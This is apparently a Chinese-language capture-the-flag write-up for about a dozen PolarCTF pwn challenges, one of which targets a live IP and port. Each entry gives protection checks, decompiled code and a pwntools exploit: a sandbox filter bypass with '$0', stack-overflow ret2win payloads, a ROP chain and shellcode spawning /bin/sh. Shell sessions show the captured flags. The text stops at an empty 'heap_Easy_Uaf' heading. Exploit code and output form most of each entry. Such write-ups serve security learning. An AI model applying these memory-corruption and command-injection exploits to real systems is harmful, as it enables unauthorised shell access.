简单 sandbox [*] '/mnt/d/ctf/polarctf/PWN/sandbox' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
放入ida中进一步分析一下
__int64 box() { char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Please input your command"); puts("No sh,no cat,no flag."); system("ls"); read(0, buf, 0x20u); if ( strchr(buf, 's') || strchr(buf, 'h') || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, '-') ) { puts("Illegal command."); exit(0); } system(buf); return 0; }
题目编写的很简单,执行用户输入的指令,但是不能输入sh、cat、flag这些字符串作为指令执行。有一个system(“$0”),也会再启动一个新的shell,这里的$0是交给外层shell展开的,外层shell执行时,命令是
在这个外层shell中,$0通常表示shell自己的名字,一般system调用外层shell时,argv[0]是sh,所以正常情况下执行system(“$0”)和执行system(“sh”)没什么区别。而这道题目恰好没有禁用$0这一字符串,就可以输入$0从而获取shell,在新的shell里面就没有程序中那些限制了,就可以获得flag了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./sandbox' #libc_file='' elf=ELF(pwn_file) #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='1.95.36.136' port=2125 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) sl(b"$0") #连接 #-------------------------------------------------------------------------------- ioi()
creeper [*] '/mnt/d/ctf/polarctf/PWN/creeper' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
很常规的保护,直接进入ida中进行分析
__int64 game() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF puts("Creeper?"); read(0, buf, 0x100u); if ( strlen(buf) == 0xF ) { puts("Aw man"); system("cat flag"); } else { puts("Si............"); } return 0; }
使用strlen函数判断输入的字符串长度是否为0xF,如果是就获得flag,否则就退出程序,那么就很简单了,直接输入长度为0xF的字符串就行了。因为上面给了模板,后面文章的exp就直接简化了。exp如下:
payload = cyclic(0xF) s(payload)
Creeper? Aw man flag{0ae8d217-5b6c-4f04-aedb-4f8d043b3634}
简单溢出 [*] '/mnt/d/ctf/polarctf/PWN/hahaha' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
依旧是一个很常规的保护,放入ida中进行分析
int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[48]; // [rsp+0h] [rbp-30h] BYREF __isoc99_scanf("%s", v4); return 0; } int fact() { return system("/bin/sh"); }
scanf函数也是存在缓冲区溢出的问题,而这道题目没有任何检查与限制,因此就可以利用这个造成栈溢出,接着将返回地址修改为程序中存在的后门函数即可获得shell。exp如下:
ret = 0x0000000000400441 fact = 0x400596 payload = cyclic(0x30 + 8) + p64(ret) + p64(fact) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{c99e2a38-f47a-4828-97a6-846283f45ff8}
system [*] '/mnt/d/ctf/polarctf/PWN/system' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
主要关注的是canary保护的开启,需要绕过一下。
int __fastcall main(int argc, const char **argv, const char **envp) { char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdout, 0); setbuf(stdin, 0); printf("input:"); read(0, buf, 0x1Eu); system(buf); return 0; }
好吧,挺简单的,将我们输入的字符串作为指令执行。由于这道题目没有任何输入限制,直接输入/bin/sh字符串就可以获得shell了。exp如下:
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{5748f023-3e11-45d8-9beb-0b8854a54d75}
Emm [*] '/mnt/d/ctf/polarctf/PWN/emm' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
这次是一道32位的题目
int yes() { _BYTE buf[88]; // [esp+0h] [ebp-58h] BYREF puts("/bin/sh"); read(0, buf, 0x100u); return 0; } int flag() { system("cat flag"); return 0; }
存在明显的栈溢出以及可以获得flag的函数,当然这道题目可以构造system(“/bin/sh”),毕竟给了”/bin/sh”字符串以及system函数,这里就用前面的那个方法吧。exp如下:
flag = 0x80484CB payload = cyclic(0x58 + 4) + p32(flag) sl(payload)
/bin/sh flag{df92f254-2f24-4bb9-b38d-4d99e8e8c72c}
Choice int __fastcall main(int argc, const char **argv, const char **envp) { int p_n2; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts(&s); puts("Menu:"); puts(a1); puts(a2); puts(a3); __isoc99_scanf(&unk_400A75, &p_n2); if ( p_n2 == 1 ) { Data1(); } else if ( p_n2 == 2 ) { Data2(); } else { Data3(); } return 0; } int Data3() { _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF puts(&s__1); read(0, buf, 0x50u); return printf(&format); } int Shell() { return system("/bin/sh"); }
存在明显的栈溢出函数以及后门函数,那么直接利用栈溢出将返回地址修改为后门函数即可获得shell。exp如下:
ret = 0x0000000000400629 shell = 0x4007BD sl(b"3") payload = cyclic(0x30 + 8) + p64(ret) + p64(shell) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{97a640e9-be5f-45bc-bf51-ae4629d10a83}
overload1 int __fastcall main(int argc, const char **argv, const char **envp) { int result; // eax _BYTE v4[270]; // [rsp+0h] [rbp-110h] BYREF _BYTE v5[2]; // [rsp+10Eh] [rbp-2h] BYREF init(argc, argv, envp); puts(&s); puts(&s_); __isoc99_scanf(&unk_4009F7, v5); getchar(); if ( v5[0] == 'y' ) { puts(&s__0); result = gets(v4); } else { result = printf(&format); } if ( v5[1] == 'a' ) return system("/bin/sh"); return result; }
这道题目的考点就是利用某一变量的溢出修改另一个变量的值,这里使用的是gets函数向变量v4中输入数据,而且是能够覆盖到v5[1]的值的。exp如下:
sl(b"y") payload = b"a"*(0x110 - 1) + b"a" sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{e4749a8f-cc1a-4fb3-b250-03cfd61dda22} $
x64 [*] '/mnt/d/ctf/polarctf/PWN/x64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
保护几乎什么都没开,这道题还可以打shellcode
ssize_t function(void) { _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF return read(0, buf, 0x200u); } int __fastcall Shell(char *command) { return system(command); } .data:0000000000601060 public null .data:0000000000601060 null db '/bin/sh',0
这道题的考点就是64位中如何进行传参,存在栈溢出和后门函数以及/bin/sh字符串,直接构造就行了。exp如下:
ret = 0x0000000000400549 pop_rdi = 0x00000000004007e3 bin_sh = 0x0601060 shell = 0x4006B6 payload = cyclic(0x80 + 8) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(shell) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{d6661fd5-beef-4e03-a37e-954300b5c500} $
你是大佬还是菜鸡 int __fastcall main(int argc, const char **argv, const char **envp) { int n2; // [rsp+Ch] [rbp-4h] BYREF setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); n2 = 0; puts("Hei! I'll give you 2 ways!"); puts("Chose who you are!"); puts("1. Da Lao"); puts("2. Cai Ji"); __isoc99_scanf("%d", &n2); if ( n2 <= 0 || n2 > 2 ) exit(0); if ( n2 == 1 ) dalao(); caiji(); return 0; } ssize_t caiji() { _QWORD buf[3]; // [rsp+0h] [rbp-20h] BYREF int v2; // [rsp+18h] [rbp-8h] __int16 v3; // [rsp+1Ch] [rbp-4h] memset(buf, 0, sizeof(buf)); v2 = 0; v3 = 0; return read(0, buf, 0x64u); } int hint() { return system("/bin/sh"); }
存在明显的栈溢出以及后门函数,直接打就行了。exp如下:
ret = 0x00000000004005d9 hint = 0x4008B0 sl(b"2") payload = cyclic(0x20 + 8) + p64(ret) + p64(hint) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{2cd27d2a-b083-4580-906e-71287f26221c} $
Easy_ShellCode [*] '/mnt/d/ctf/polarctf/PWN/Easy_ShellCode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位的题目,可以打shellcode
ssize_t Start() { _BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF init(); write(1, "Please Input:\n", 0xEu); read(0, &str, 0x100u); puts("What,s your name ?:"); return read(0, buf, 0x100u); }
str是在bss段上,可以向其输入shellcode,接着利用栈溢出修改返回地址为str的地址执行输入的shellcode。exp如下:
str = 0x0804A080 shellcode = asm(shellcraft.sh()) sl(shellcode) payload = cyclic(0x68 + 4) + p32(str) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{84c821fb-0d3c-40fa-b222-dbfff09f8306} $
小狗汪汪汪 int dog() { char s[9]; // [esp+Fh] [ebp-9h] BYREF puts("Hungry!!!"); puts("This puppy needs to eat a few bones?"); gets(s); return puts("Woof!!!"); } int getshell() { return system("/bin/sh"); }
存在栈溢出以及后门函数,直接上exp:
getshell = 0x804859B payload = cyclic(0x9 + 4) + p32(getshell) sl(payload)
play [*] '/mnt/d/ctf/polarctf/PWN/play' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
看起来可以打64位的shellcode
__int64 play() { _BYTE v1[48]; // [rsp+0h] [rbp-30h] BYREF puts("I think you must enjoy playing."); read(0, &buf, 0x64u); puts("Name your favorite game?"); gets(v1); return 0; }
buf在bss段上,那么就可以打shellcode了。exp如下:
buf = 0x06010A0 shellcode = asm(shellcraft.sh()) sl(shellcode) payload = cyclic(0x30 + 8) + p64(buf) sl(payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{edbf32fc-4958-47d1-b2c8-fe8a0a66fd43} $
name4 [*] '/mnt/d/ctf/polarctf/PWN/name4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
感觉依旧能打32位的shellcode
ssize_t Start() { char s[20]; // [esp+8h] [ebp-20h] BYREF int v2; // [esp+1Ch] [ebp-Ch] v2 = 0; puts("Enter your name:"); read(0, name, 0x40u); puts("Enter your best friend name:"); read(0, &::s, 0x40u); if ( name[0] ) return write(1, "Are you OK?", 0xEu); puts("give you stack overflow:"); gets(s); return printf("byebye%s\n", name); }
确实可以打shellcode,但是想要进行栈溢出将返回地址修改为输入shellcode的地址,必须得name[0]==0,才能绕过if判断。这里就直接输入\x00即可绕过。exp如下:
s_addr = 0x0804A0E0 shellcode = asm(shellcraft.sh()) payload = cyclic(0x20 + 4) + p32(s_addr) sla("Enter your name:",b"\x00") sla("Enter your best friend name:",shellcode) sla("give you stack overflow:",payload)
$ ls bin dev flag lib lib32 lib64 pwn2 $ cat flag flag{02d2e0b4-469b-4728-9f99-cc2880757b68} $
heap_Easy_Uaf